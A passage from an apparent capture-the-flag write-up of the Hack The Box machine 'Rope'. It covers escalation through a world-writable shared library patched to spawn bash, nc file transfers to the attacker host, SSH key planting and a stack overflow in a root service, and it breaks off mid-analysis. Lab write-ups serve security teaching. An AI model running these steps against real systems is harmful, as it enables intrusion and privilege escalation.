class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ ls -al\ntotal 28\ndrwxrwx--- 4 john john 4096 Aug  5 08:50 .\ndrwxr-xr-x 4 root root 4096 Jun 19 15:08 ..\nlrwxrwxrwx 1 john john    9 Jun 19 17:16 .bash_history -&gt; \/dev\/null\n-rwxrwx--- 1 john john  220 Jun 19 15:08 .bash_logout\n-rwxrwx--- 1 john john 3771 Jun 19 15:08 .bashrc\ndrwx------ 2 john john 4096 Aug  5 08:50 .cache\ndrwx------ 3 john john 4096 Aug  5 08:50 .gnupg\n-rwxrwx--- 1 john john  807 Jun 19 15:08 .profile\n<\/pre><\/div>\n\n\n<p>By reading the <code>\/etc\/passwd<\/code> file through the web server we have already seen that there is another user called <code>r4j<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,6]; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\n...\nr4j:x:1000:1000:r4j:\/home\/r4j:\/bin\/bash\njohn:x:1001:1001:,,,:\/home\/john:\/bin\/bash\n<\/pre><\/div>\n\n\n<p>The command <code>sudo -l<\/code> reveals that we can run the program <code>\/usr\/bin\/readlogs<\/code> as <code>r4j<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,7]; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ sudo -l\nMatching Defaults entries for john on rope:\n    env_reset, mail_badpass,\n    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser john may run the following commands on rope:\n    (r4j) NOPASSWD: \/usr\/bin\/readlogs\n<\/pre><\/div>\n\n\n<p><code>readlogs<\/code> seems to be a custom ELF binary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ ls -al \/usr\/bin\/readlogs\n-rwxr-xr-x 1 root root 8288 Jun 19 18:54 \/usr\/bin\/readlogs\njohn@rope:\/home\/john$ file \/usr\/bin\/readlogs\n\/usr\/bin\/readlogs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID&#x5B;sha1]=67bdf14148530fcc5c26260c3450077442e89f66, not stripped\n<\/pre><\/div>\n\n\n<p>Let&#8217;s analyze the file on our own local machine. For a small file like this, we can simply copy&amp;paste the base64 encoded file.<\/p>\n\n\n\n<p style=\"color:#2271f0;font-weight:bold\">Victim machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ md5sum \/usr\/bin\/readlogs\n198666187caa04ddc5f4def892d1714a  \/usr\/bin\/readlogs\njohn@rope:\/home\/john$ base64 \/usr\/bin\/readlogs\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAQAUAAAAAAABAAAAAAAAAACAZAAAAAAAAAAAAAEAAOAAJ\nAEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA\nAAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCAAAAAAAAOAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA\n...\n\n... copy ...\n<\/pre><\/div>\n\n\n<p style=\"color:#de1627;font-weight:bold\">Attacker machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# vi readlogs.b64\n... paste ...\nroot@kali:~\/htb\/boxes\/rope\/loot# base64 -d readlogs.b64 &gt; readlogs\nroot@kali:~\/htb\/boxes\/rope\/loot# md5sum readlogs\n198666187caa04ddc5f4def892d1714a  readlogs\n<\/pre><\/div>\n\n\n<p>By comparing the <code>md5<\/code> checksums, we can verify that we correctly copied the file.<\/p>\n\n\n\n<p>A quick glance at the file using <code>radare2<\/code> shows, that there is only a <code>main<\/code> function within the binary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,10,24,32]; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# r2 -A readlogs\n&#x5B;Invalid instruction of 16368 bytes at 0x124 entry0 (aa)\nInvalid instruction of 16366 bytes at 0x124\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\n&#x5B;x] Analyze function calls (aac)\n&#x5B;x] Analyze len bytes of instructions for references (aar)\n&#x5B;x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n&#x5B;x] Type matching analysis for all functions (aaft)\n&#x5B;x] Use -AA or aaaa to perform additional experimental analysis.\n&#x5B;0x00000540]&gt; afl\n0x00000000    6 292  -&gt; 318  sym.imp.__libc_start_main\n0x000004f8    3 23           sym._init\n0x00000520    1 6            sym.imp.printlog\n0x00000530    1 6            sub.__cxa_finalize_530\n0x00000540    1 43           entry0\n0x00000570    4 50   -&gt; 40   sym.deregister_tm_clones\n0x000005b0    4 66   -&gt; 57   sym.register_tm_clones\n0x00000600    5 58   -&gt; 51   sym.__do_global_dtors_aux\n0x00000640    1 10           entry.init0\n0x0000064a    1 21           sym.main\n0x00000660    3 101  -&gt; 92   sym.__libc_csu_init\n0x000006d0    1 2            sym.__libc_csu_fini\n0x000006d4    1 9            sym._fini\n&#x5B;0x00000540]&gt; pdf @ sym.main \n            ;-- main:\n\/ (fcn) sym.main 21\n|   sym.main (int argc, char **argv, char **envp);\n|           ; DATA XREF from entry0 (0x55d)\n|           0x0000064a      55             push rbp\n|           0x0000064b      4889e5         mov rbp, rsp\n|           0x0000064e      b800000000     mov eax, 0\n|           0x00000653      e8c8feffff     call sym.imp.printlog\n|           0x00000658      b800000000     mov eax, 0\n|           0x0000065d      5d             pop rbp\n\\           0x0000065e      c3             ret\n&#x5B;0x00000540]&gt;\n<\/pre><\/div>\n\n\n<p>The <code>main<\/code> function calls the imported function <code>printlog<\/code>. By running <code>ldd<\/code> we can see, that the binary is using a custom library called <code>liblog.so<\/code>, which probably implements this function:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,3]; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ ldd \/usr\/bin\/readlogs\n\tlinux-vdso.so.1 (0x00007ffc52bbc000)\n\tliblog.so =&gt; \/lib\/x86_64-linux-gnu\/liblog.so (0x00007f5b07148000)\n\tlibc.so.6 =&gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007f5b0693e000)\n\t\/lib64\/ld-linux-x86-64.so.2 (0x00007f5b06f31000)\n<\/pre><\/div>\n\n\n<p>The library has the permissions <code>0777<\/code> on the victim machine and can thus be written by everyone:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ ls -al \/lib\/x86_64-linux-gnu\/liblog.so\n-rwxrwxrwx 1 root root 15984 Jun 19 19:06 \/lib\/x86_64-linux-gnu\/liblog.so\n<\/pre><\/div>\n\n\n<p>This means that we can simply replace the library with our own one to execute arbitrary code as the user <code>r4j<\/code> by running <code>readlogs<\/code> with <code>sudo<\/code>.<\/p>\n\n\n\n<p>At first let&#8217;s download the original library to our local machine. This time using <code>nc<\/code>:<\/p>\n\n\n\n<p style=\"color:#de1627;font-weight:bold\">Attacker machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# nc -lvp 7002 &gt; liblog.so\nlistening on &#x5B;any] 7002 ...\n<\/pre><\/div>\n\n\n<p style=\"color:#2271f0;font-weight:bold\">Victim machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ md5sum \/lib\/x86_64-linux-gnu\/liblog.so\nd0b1366af0ae4c6500feb303901f3136  \/lib\/x86_64-linux-gnu\/liblog.so\njohn@rope:\/home\/john$ cat \/lib\/x86_64-linux-gnu\/liblog.so | nc 10.10.12.95 7002\n<\/pre><\/div>\n\n\n<p style=\"color:#de1627;font-weight:bold\">Attacker machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\n10.10.10.148: inverse host lookup failed: Unknown host\nconnect to &#x5B;10.10.12.95] from (UNKNOWN) &#x5B;10.10.10.148] 40724\nroot@kali:~\/htb\/boxes\/rope\/loot# md5sum liblog.so \nd0b1366af0ae4c6500feb303901f3136  liblog.so\n<\/pre><\/div>\n\n\n<p>Using <code>radare2<\/code> again, we can see that the <code>printlog<\/code> function simply calls <code>system<\/code> with the argument <code>\/usr\/bin\/tail -n10 \/var\/log\/auth.log<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,18,23,25]; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# r2 -A liblog.so \n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\n&#x5B;x] Analyze function calls (aac)\n&#x5B;x] Analyze len bytes of instructions for references (aar)\n&#x5B;x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n&#x5B;x] Type matching analysis for all functions (aaft)\n&#x5B;x] Use -AA or aaaa to perform additional experimental analysis.\n&#x5B;0x00001050]&gt; afl\n0x00001000    3 23           sym._init\n0x00001030    1 6            sym.imp.system\n0x00001040    1 6            sub.__cxa_finalize_1040\n0x00001050    4 41   -&gt; 34   entry0\n0x00001080    4 57   -&gt; 51   sym.register_tm_clones\n0x000010c0    5 57   -&gt; 50   sym.__do_global_dtors_aux\n0x00001100    1 5            entry.init0\n0x00001105    1 24           sym.printlog\n0x00001120    1 9            sym._fini\n&#x5B;0x00001050]&gt; pdf @ sym.printlog \n\/ (fcn) sym.printlog 24\n|   sym.printlog ();\n|           0x00001105      55             push rbp\n|           0x00001106      4889e5         mov rbp, rsp\n|           0x00001109      488d3df00e00.  lea rdi, qword str.usr_bin_tail__n10__var_log_auth.log ; segment.LOAD2 ; 0x2000 ; &quot;\/usr\/bin\/tail -n10 \/var\/log\/auth.log&quot; ; const char *string\n|           0x00001110      b800000000     mov eax, 0\n|           0x00001115      e816ffffff     call sym.imp.system         ; int system(const char *string)\n|           0x0000111a      90             nop\n|           0x0000111b      5d             pop rbp\n\\           0x0000111c      c3             ret\n&#x5B;0x00001050]&gt; \n<\/pre><\/div>\n\n\n<p>In order to replace the library with our own one, we could compile a shared object ourself. Though it is even easier to simply patch the existing library to fit our needs. In order to do this, we create a copy of the library and open it with <code>radare2<\/code> in write mode (<code>-w<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# cp liblog.so liblog_modified.so\nroot@kali:~\/htb\/boxes\/rope\/loot# r2 -Aw liblog_modified.so \n...\n<\/pre><\/div>\n\n\n<p>Now we patch the string passed to <code>system<\/code> with <code>\/bin\/bash<\/code> in order to spawn a shell instead of displaying the contents of <code>\/var\/log\/auth.log<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n&#x5B;0x00001050]&gt; iz\n&#x5B;Strings]\nNum Paddr      Vaddr      Len Size Section  Type  String\n000 0x00002000 0x00002000  36  37 (.rodata) ascii \/usr\/bin\/tail -n10 \/var\/log\/auth.log\n\n&#x5B;0x00001050]&gt; s 0x00002000\n&#x5B;0x00002000]&gt; &quot;wz \/bin\/bash&quot;\n&#x5B;0x00002000]&gt; \n<\/pre><\/div>\n\n\n<p>At next we replace the library with our modified version. Beforehand we create a copy of the original <code>liblog.so<\/code>.<\/p>\n\n\n\n<p style=\"color:#de1627;font-weight:bold\">Attacker machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# nc -lvp 7002 &lt; liblog_modified.so\nlistening on &#x5B;any] 7002 ...\n<\/pre><\/div>\n\n\n<p style=\"color:#2271f0;font-weight:bold\">Victim machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ cp \/lib\/x86_64-linux-gnu\/liblog.so \/tmp\njohn@rope:\/home\/john$ nc 10.10.12.95 7002 &gt; \/lib\/x86_64-linux-gnu\/liblog.so\n<\/pre><\/div>\n\n\n<p>If we now run <code>readlogs<\/code> with <code>sudo<\/code> as the user <code>r4j<\/code> we get a shell as this user and can restore the original library:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\njohn@rope:\/home\/john$ sudo -u r4j \/usr\/bin\/readlogs\nbash: \/root\/.bashrc: Permission denied\nr4j@rope:\/home\/john$ id\nuid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)\nr4j@rope:\/home\/john$ cp \/tmp\/liblog.so \/lib\/x86_64-linux-gnu\/liblog.so \n<\/pre><\/div>\n\n\n<p>The home directory of <code>r4j<\/code> contains the <code>user.txt<\/code> file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [2,15,16,17]; title: ; notranslate\" title=\"\">\nr4j@rope:\/home\/john$ cd ..\/r4j\/\nr4j@rope:\/home\/r4j$ ls -al\ntotal 40\ndrwxrwx--- 5 r4j  r4j  4096 Oct 10 05:26 .\ndrwxr-xr-x 4 root root 4096 Jun 19 15:08 ..\nlrwxrwxrwx 1 r4j  r4j     9 Jun 19 17:10 .bash_history -&gt; \/dev\/null\n-rwxrwx--- 1 r4j  r4j   220 Apr  4  2018 .bash_logout\n-rwxrwx--- 1 r4j  r4j  3771 Apr  4  2018 .bashrc\ndrwxrwx--- 2 r4j  r4j  4096 Jun 19 15:06 .cache\ndrwxrwx--- 3 r4j  r4j  4096 Jun 19 15:06 .gnupg\n-rwxrwx--- 1 r4j  r4j   807 Apr  4  2018 .profile\n-rw-r--r-- 1 root root   66 Jun 19 19:03 .selected_editor\ndrwxr-xr-x 2 r4j  r4j  4096 Oct 10 05:26 .ssh\n-rwxrwx--- 1 r4j  r4j     0 Jun 19 15:07 .sudo_as_admin_successful\n-rw-r--r-- 1 root root   33 Jun 19 19:24 user.txt\nr4j@rope:\/home\/r4j$ cat user.txt\ndeb9 ... (output truncated)\n<\/pre><\/div>\n\n\n<p><h2 id=\"root\">Root<\/h2><\/p>\n\n\n\n<p><h3 id=\"recon2\">Local Recon<\/h3><\/p>\n\n\n\n<p>In order to be able to login via SSH, let&#8217;s first create an RSA key and store the public key in the <code>.ssh\/authorized_keys<\/code> file of <code>r4j<\/code>.<\/p>\n\n\n\n<p style=\"color:#de1627;font-weight:bold\">Attacker machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# ssh-keygen -f id_rsa_r4j\nGenerating public\/private rsa key pair.\nEnter passphrase (empty for no passphrase): \nEnter same passphrase again: \nYour identification has been saved in id_rsa_r4j.\nYour public key has been saved in id_rsa_r4j.pub.\nThe key fingerprint is:\nSHA256:DyUxUTXbKswz12Go8owT7jRcFFAKNcsI9YL8FwyTkoo root@kali\nThe key&#039;s randomart image is:\n+---&#x5B;RSA 3072]----+\n|    .o=oB=+.o    |\n|   .oo.O * . =   |\n| . .o.o O o o +  |\n|E .  . . B . + . |\n|      . S O o .  |\n|       + X =     |\n|        B +      |\n|       o o       |\n|        .        |\n+----&#x5B;SHA256]-----+\nroot@kali:~\/htb\/boxes\/rope\/loot# cat id_rsa_r4j.pub \nssh-rsa AAAAB3NzaC1yc2EAAAADA...\n... copy ...\n<\/pre><\/div>\n\n\n<p style=\"color:#2271f0;font-weight:bold\">Victim machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nr4j@rope:\/home\/r4j$ mkdir .ssh\nr4j@rope:\/home\/r4j$ echo &#039;ssh-rsa AAAAB3NzaC1yc2EAAAADA ... paste ...&#039; &gt; .ssh\/authorized_keys\n<\/pre><\/div>\n\n\n<p>Now we can login via SSH:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# ssh -i id_rsa_r4j r4j@10.10.10.148\nThe authenticity of host &#039;10.10.10.148 (10.10.10.148)&#039; can&#039;t be established.\nECDSA key fingerprint is SHA256:uCguytQ5iFizo89a8JaW34JkqSy6n1fPOmycil6onkc.\nAre you sure you want to continue connecting (yes\/no\/&#x5B;fingerprint])? yes\nWarning: Permanently added &#039;10.10.10.148&#039; (ECDSA) to the list of known hosts.\nWelcome to Ubuntu 18.04.2 LTS (GNU\/Linux 4.15.0-52-generic x86_64)\n\n * Documentation:  https:\/\/help.ubuntu.com\n * Management:     https:\/\/landscape.canonical.com\n * Support:        https:\/\/ubuntu.com\/advantage\n\n  System information as of Thu Oct 10 05:27:00 UTC 2019\n\n  System load:  0.03               Processes:            177\n  Usage of \/:   28.5% of 14.70GB   Users logged in:      0\n  Memory usage: 14%                IP address for ens33: 10.10.10.148\n  Swap usage:   0%\n\n\n152 packages can be updated.\n72 updates are security updates.\n\n\nLast login: Thu Jun 20 07:30:04 2019 from 192.168.2.106\nr4j@rope:~$ id\nuid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)\n<\/pre><\/div>\n\n\n<p>As previously mentioned we could now run an enumeration script with the new gained privileges as user <code>r4j<\/code>, though I will skip this here and walk right away to the the necessary findings.<\/p>\n\n\n\n<p>The thing to notice is that there is a service listening on localhost port <code>1337<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,9]; title: ; notranslate\" title=\"\">\nr4j@rope:~$ netstat -tulpn\n(Not all processes could be identified, non-owned process info\n will not be shown, you would have to be root to see it all.)\nActive Internet connections (only servers)\nProto Recv-Q Send-Q Local Address           Foreign Address         State       PID\/Program name    \ntcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN      -                   \ntcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   \ntcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   \ntcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      -                   \ntcp6       0      0 :::22                   :::*                    LISTEN      -                   \nudp        0      0 127.0.0.53:53           0.0.0.0:*                           -\n<\/pre><\/div>\n\n\n<p>When connecting to the service, it will prompt us to enter a message to the admin:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nr4j@rope:~$ nc 0 1337\nPlease enter the message you want to send to admin:\ntest\nDone.\n<\/pre><\/div>\n\n\n<p>The folder <code>\/opt<\/code>, which also contained the <code>httpserver<\/code> we exploited earlier, contains another folder called <code>support<\/code>, which we are now able to read since <code>r4j<\/code> is a member of the group <code>adm<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,6]; title: ; notranslate\" title=\"\">\nr4j@rope:\/opt$ ls -al\ntotal 20\ndrwxr-xr-x  5 root root 4096 Jun 20 06:19 .\ndrwxr-xr-x 25 root root 4096 Jun 19 16:25 ..\ndrwx------  2 root root 4096 Jun 19 19:06 run\ndrwxr-x---  2 root adm  4096 Jun 19 16:11 support\ndrwxr-xr-x  7 root root 4096 Jun 20 07:27 www\n<\/pre><\/div>\n\n\n<p>This folder contains another binary called <code>contact<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nr4j@rope:\/opt$ cd support\/\nr4j@rope:\/opt\/support$ ls -al\ntotal 24\ndrwxr-x--- 2 root adm   4096 Jun 19 16:11 .\ndrwxr-xr-x 5 root root  4096 Jun 20 06:19 ..\n-rwxr-x--- 1 root adm  14632 Jun 19 15:48 contact\nr4j@rope:\/opt\/support$ file contact \ncontact: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID&#x5B;sha1]=cc3b330cabc203d0d813e3114f1515b044a1fd4f, stripped\n<\/pre><\/div>\n\n\n<p>Obviously this is the binary running on port <code>1337<\/code> with root privileges:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nr4j@rope:\/opt\/support$ ps aux | grep contact\nroot      1145  0.0  0.0   4628   920 ?        Ss   04:05   0:00 \/bin\/sh -c \/opt\/support\/contact\nroot      1148  0.0  0.0   4516   740 ?        S    04:05   0:00 \/opt\/support\/contact\nroot      1885  0.0  0.0   4516    80 ?        S    05:25   0:00 \/opt\/support\/contact\nr4j       2199  0.0  0.0  13136  1076 pts\/1    S+   06:10   0:00 grep --color=auto contact\n<\/pre><\/div>\n\n\n<p><h3 id=\"contact\">contact<\/h3><\/p>\n\n\n\n<p>So let&#8217;s download the binary to our local machine in order to analyze it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# scp -i id_rsa_r4j r4j@10.10.10.148:\/opt\/support\/contact .\ncontact                                                      100%   14KB 628.6KB\/s   00:00 \n<\/pre><\/div>\n\n\n<p>The enabled security options are the same as on <code>httpserver<\/code>. The only difference is that we are now facing a 64-bit binary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# checksec contact\n&#x5B;*] &#039;\/root\/htb\/boxes\/rope\/loot\/contact&#039;\n    Arch:     amd64-64-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      PIE enabled\n<\/pre><\/div>\n\n\n<p>The binary is big enough to start up <code>ghidra<\/code>. Notice that it is stripped and thus there is no function called <code>main<\/code>. Though we can easily find the <code>main<\/code> function by selecting the <code>entry<\/code> function (left side). The first parameter passed to <code>__libc_start_main<\/code> is the <code>main<\/code> function:<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img06-1024x483.png\" alt=\"\" class=\"wp-image-1649\" width=\"955\" height=\"450\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img06-1024x483.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img06-300x142.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img06-768x362.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img06.png 1530w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>So basically the progam is accepting connections on port <code>1337<\/code> in an infinite loop. A new connection is handled by a forked child process, which displays the message we have already seen:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"468\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img07.png\" alt=\"\" class=\"wp-image-1650\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img07.png 498w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img07-300x282.png 300w\" sizes=\"(max-width: 498px) 100vw, 498px\" \/><\/figure>\n\n\n\n<p>Within the function <code>getMessage<\/code> (I renamed it) <code>0x400<\/code> bytes are read from the socket connection:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"461\" height=\"249\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img08.png\" alt=\"\" class=\"wp-image-1651\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img08.png 461w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img08-300x162.png 300w\" sizes=\"(max-width: 461px) 100vw, 461px\" \/><\/figure>\n\n\n\n<p>According to the decompiled code the buffer in which the <code>0x400<\/code> bytes are read (<code>local_48<\/code>) has only <code>56<\/code> elements. Within the disassembly output we can see that within the function prologue indeed only <code>0x50<\/code> bytes are reserved on the stack:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"444\" height=\"113\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img09.png\" alt=\"\" class=\"wp-image-1652\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img09.png 444w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img09-300x76.png 300w\" sizes=\"(max-width: 444px) 100vw, 444px\" \/><\/figure>\n\n\n\n<p>The buffer only being <code>56<\/code> bytes large makes it definitely vulnerable to a stack overflow.<\/p>\n\n\n\n<p>Let&#8217;s quickly verify this on our local machine:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# python -c &#039;print(&quot;A&quot;*256)&#039;|nc 0 1337\nPlease enter the message you want to send to admin:\n\n...\n\nroot@kali:~\/htb\/boxes\/rope\/loot# .\/contact \nlisten on port 1337, fd is 3\n&#x5B;+] Request accepted fd 4, pid 0\n*** stack smashing detected ***: &lt;unknown&gt; terminated\n<\/pre><\/div>\n\n\n<p>The program crashed because the stack canary has been overwritten. To further analyze the vulnerability we can attach <code>gdb<\/code> to the running process like we did before with <code>httpserver<\/code>. Remember to disable <code>ASLR<\/code> beforehand, so it will be more easier as the address will stay the same:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# echo 0 &gt; \/proc\/sys\/kernel\/randomize_va_space\nroot@kali:~\/htb\/boxes\/rope\/loot# gdb .\/contact $(pidof contact)\n...\n<\/pre><\/div>\n\n\n<p>This time the binary is stripped so we don&#8217;t have any symbols. In order to disassemble the vulnerable function in <code>gdb<\/code> we can lookup the image base (<code>i proc mappings<\/code>) and add the offset of the function to it (the offset can for example be seen in <code>ghidra<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ i proc mappings\nprocess 3757\nMapped address spaces:\n\n          Start Addr           End Addr       Size     Offset objfile\n      0x555555554000     0x555555555000     0x1000        0x0 \/root\/htb\/boxes\/rope\/loot\/contact\n...\ngdb-peda$ x\/20i (0x555555554000+0x159a)\n   0x55555555559a:\tpush   rbp\n   0x55555555559b:\tmov    rbp,rsp\n   0x55555555559e:\tsub    rsp,0x50\n   0x5555555555a2:\tmov    DWORD PTR &#x5B;rbp-0x44],edi\n   0x5555555555a5:\tmov    rax,QWORD PTR fs:0x28\n   0x5555555555ae:\tmov    QWORD PTR &#x5B;rbp-0x8],rax\n   0x5555555555b2:\txor    eax,eax\n   0x5555555555b4:\tlea    rsi,&#x5B;rbp-0x40]\n   0x5555555555b8:\tmov    eax,DWORD PTR &#x5B;rbp-0x44]\n   0x5555555555bb:\tmov    ecx,0x0\n   0x5555555555c0:\tmov    edx,0x400\n   0x5555555555c5:\tmov    edi,eax\n   0x5555555555c7:\tcall   0x555555555030 &lt;recv@plt&gt;\n   0x5555555555cc:\tnop\n   0x5555555555cd:\tmov    rdx,QWORD PTR &#x5B;rbp-0x8]\n   0x5555555555d1:\txor    rdx,QWORD PTR fs:0x28\n   0x5555555555da:\tje     0x5555555555e1\n   0x5555555555dc:\tcall   0x555555555070 &lt;__stack_chk_fail@plt&gt;\n   0x5555555555e1:\tleave  \n   0x5555555555e2:\tret   \n<\/pre><\/div>\n\n\n<p>The second instruction after the <code>recv<\/code> call loads the saved canary from the stack:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n   0x5555555555cd:\tmov    rdx,QWORD PTR 